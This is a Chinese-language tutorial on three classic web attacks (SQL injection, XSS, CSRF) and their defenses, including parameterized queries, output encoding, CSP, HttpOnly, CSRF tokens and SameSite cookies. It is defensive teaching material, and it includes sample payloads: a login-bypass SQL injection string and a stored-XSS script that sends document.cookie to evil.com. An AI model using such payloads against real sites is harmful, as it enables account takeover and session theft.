SQL 注入、XSS、CSRF:Web 安全的三大经典攻击
一句话结论(30s)
SQL 注入、XSS、CSRF 三大攻击的共同本质是「信任了不该信任的输入」:用户输入被当作 SQL 代码、页面脚本或合法请求来执行。所以防御的共同哲学是「永不信任用户输入」——SQL 用参数化查询,XSS 用输出编码 + CSP + HttpOnly,CSRF 用 Token + SameSite Cookie。
核心原理(2min)
SQL 注入靠拼接 SQL 把输入当代码执行,用 PreparedStatement / #{} 参数化让数据与代码分离根治;XSS 靠恶意脚本注入页面被浏览器执行,用输出编码、CSP、HttpOnly Cookie 三道防线封堵;CSRF 靠跨站请求自动携带 Cookie 伪造用户操作,用 CSRF Token 和 SameSite Cookie 阻断跨站携带。
底层深入(5-10min)
SQL 注入:信任用户输入是最大的安全漏洞
攻击原理
// 危险的拼接方式
String sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
// 攻击输入:username = "admin' OR '1'='1' --"
// 拼接后:SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='xxx'
// 效果:绕过了密码验证
💡 思考穿插:为什么字符串拼接就会被注入? 因为拼接让「数据」和「SQL 代码」长在了一起——
admin' OR '1'='1' --里的单引号和 OR 被当成 SQL 语法执行,而不是一个普通字符串。攻击的本质不是「输入了恶意内容」,而是「数据库无法区分哪段是代码、哪段是数据」。所以防御的钥匙不是去「过滤坏字符」,而是从根上把代码和数据分开。
根本解决方案——参数化查询
// Java PreparedStatement
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE username=? AND password=?");
ps.setString(1, username); // 数据与SQL代码分离
ps.setString(2, password); // 传入的值永远不会被当成SQL执行
在 MyBatis 中,#{} 走预编译防注入,${} 是字符串拼接存在注入风险。除非是动态表名/列名这种必须拼接的场景,否则一律用 #{}。
💭 思考:为什么 MyBatis 里「动态表名/列名」就非得用有注入风险的
${},而不能用安全的#{}?——因为#{}的本质是预编译占位符,它把值当作「带引号的字符串字面量」绑定,而表名、列名是「标识符」,不能带引号,所以 SQL 结构(FROM 哪张表、ORDER BY 哪列)必须写死才能用#{}。一旦表名/列名本身由用户决定,结构没法预编译,只能${}拼接——于是又回到「数据和代码混在一起」的老路。所以这类场景的正确姿势不是「照旧用 ${} 拼」,而是先用白名单把用户传来的表名/列名校验死,再拼接。
💡 思考穿插:为什么参数化查询能根治注入? 因为预编译先把 SQL 结构定死、留出
?占位符,再把用户输入作为「纯数据」绑定进去——数据永远不参与 SQL 语法解析。即使传入admin' OR '1'='1',它也只是被当成一个字符串值去比对,单引号不再有「闭合语法」的能力。对比拼接是「先把数据混进语法再解析」,参数化是「先定语法、后填数据」,攻击面从源头消失。
XSS(跨站脚本攻击)
攻击分类
存储型 XSS(最危险):
攻击者在评论框输入:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
→ 内容存储在数据库
→ 其他用户浏览页面时脚本被浏览器执行
→ Cookie 被盗取
💭 思考:为什么三种 XSS 里「存储型」被标成最危险?——反射型 XSS 的脚本待在 URL 里,需要攻击者诱导受害者点链接,而且只影响「点了的那个人」;存储型 XSS 的脚本被写进数据库,任何正常浏览该页面的用户都会中招,攻击者「一次投放、全网收割」,甚至不用再主动出击。判断攻击危害,先看「攻击面有多大、是否需要受害者主动配合」——存储型把攻击面从「单个点击者」放大到「所有访客」,这就是它最危险的原因。
反射型 XSS:恶意脚本在 URL 参数中,用户点击恶意链接后脚本在当前页面执行。
防御方案
- 输出编码(最核心):所有用户输入在渲染到 HTML 时做转义——
<→<,>→>,"→" - CSP(Content Security Policy):HTTP 响应头声明允许从哪些源加载脚本,禁止内联脚本
- HttpOnly Cookie:即使 XSS 成功,
document.cookie也无法读取 HttpOnly 标记的 Cookie
Vue/React 默认对 {{ }} 插值做 HTML 转义,几乎消除了反射型和存储型 XSS 的风险。
💡 思考穿插:为什么「输出编码」是 XSS 防御的核心? 因为 XSS 的根源不是「输入了脚本」,而是「脚本被当成 HTML 执行了」——恶意
<script>只有在渲染时不转义,才会被浏览器当代码解析。所以在「输出」环节把<、>转义成<、>,脚本就变成了一段无害的纯文本,攻击从执行源头被掐断。防御的位置不在输入、而在输出,因为危害发生在「被执行」那一刻。
CSRF(跨站请求伪造)
攻击原理
1. 用户登录 bank.com,Cookie 中的 session 有效
2. 用户访问黑客网站 evil.com
3. evil.com 有一个隐藏表单自动提交到 bank.com/transfer?to=hacker&amount=10000
4. 浏览器自动携带 Cookie 发送请求
5. bank.com 认为是用户本人操作,执行转账
防御方案
CSRF Token:服务端生成随机 Token 嵌入表单,提交时验证。攻击者无法获取用户页面的 Token,构造的请求缺少 Token 被拒绝。
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="随机Token">
...
</form>
SameSite Cookie:Set-Cookie: ...; SameSite=Strict,告诉浏览器”只在同站请求中携带此 Cookie”。跨站(从 evil.com 发到 bank.com)时 Cookie 不会被发送,CSRF 攻击从未发起时就被阻止。
💭 思考:既然 SameSite 能「从源头阻断跨站携带」,为什么生产里还要再加一层 CSRF Token?——因为二者堵的是 CSRF 成立的两个不同环节,各有盲区:Token 在「应用层」校验「请求是否带着只有真实表单才有的随机值」,能挡住「伪造请求」,但它要正确下发、绑定 session,一旦站内存在 XSS 漏洞 Token 还会被偷;SameSite 在「浏览器层」直接「跨站不送 Cookie」,实现零成本,但依赖浏览器支持、老浏览器不认,且 SameSite=Lax 对部分 GET 请求仍会带 Cookie。一个防「请求是假的」、一个防「Cookie 被自动送出去」,合起来才把 CSRF 的两条腿都打断——这正是「纵深防御」的思路。
💡 思考穿插:为什么 CSRF 能成立、又为什么 SameSite 能根治? 因为 CSRF 的成立前提是「浏览器对跨站请求也会自动携带 Cookie」——攻击者利用的是浏览器这一「自动」行为,而不是盗取了凭证。SameSite 正是从这个前提下手:让 Cookie 只随同站请求发送,跨站时根本不带 Cookie,攻击者伪造的请求就失去了「身份」,伪造无从谈起。所以 CSRF 的本质不是「用户被骗」,而是「浏览器替用户自动授权了」。
总结
| 攻击 | 原理 | 根本防御 |
|---|---|---|
| SQL 注入 | 用户输入被当成 SQL 代码执行 | 参数化查询(PreparedStatement) |
| XSS | 恶意脚本注入页面被浏览器执行 | 输出编码 + CSP + HttpOnly |
| CSRF | 跨站请求携带 Cookie 伪造操作 | CSRF Token + SameSite Cookie |
三道防线的共同哲学:永远不信任用户输入。 输入要校验,输出要编码,身份要验证。
章末提问
追问 1:SQL 注入的根本原因是什么?为什么参数化查询能彻底解决?
结论先行:根本原因是「把用户输入当代码拼接」,让数据与 SQL 语法混在一起;参数化查询通过预编译把结构与数据分离,输入永远不参与语法解析。因为 攻击者利用的是「用引号闭合语法」的能力,一旦数据以占位符绑定,引号就失去了改变 SQL 结构的能力,注入就无从发生。
追问 2:XSS 和 CSRF 有什么本质区别?防御各靠什么?
结论先行:XSS 是在受害者浏览器里执行攻击者的脚本(偷 Cookie),核心防御是输出编码;CSRF 是利用浏览器自动携带 Cookie 冒充用户发起请求(伪造操作),核心防御是 Token + SameSite。因为 一个要「防止脚本被浏览器执行」,一个要「防止跨站请求被当成本人操作」,攻击目标和路径不同,防御手段也不同。
追问 3:为什么 HttpOnly Cookie 能防 XSS 偷 Cookie,却防不了 CSRF?
结论先行:因为 HttpOnly 只让 document.cookie 读不到,阻断的是「XSS 主动读 Cookie」;但 CSRF 根本不读 Cookie,它靠浏览器自动携带 Cookie 发请求。因为 二者的攻击路径不同——XSS 是「读」,CSRF 是「带」,所以 HttpOnly 防不了 CSRF,CSRF 必须靠 Token(校验请求来源合法性)或 SameSite(阻止跨站携带)来防。